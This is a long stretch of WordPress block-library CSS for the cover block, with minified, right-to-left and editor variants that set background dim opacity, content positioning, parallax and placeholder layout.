.wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{content:"";display:block;font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;width:100%;z-index:1}.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);z-index:1}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:right}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-cover:after{min-height:auto}.editor-styles-wrapper .wp-block-cover{
  box-sizing:border-box;
}
.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  opacity:.3;
}
.wp-block-cover .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  z-index:1;
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:left;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-left:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.wp-block-cover>.components-drop-zone .components-drop-zone__content{
  opacity:.8 !important;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}

.wp-block-cover:after{
  min-height:auto;
}.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;direction:ltr;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0;z-index:1}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{content:"";display:block;font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;direction:rtl;width:100%;z-index:1}.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box; direction:ltr;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
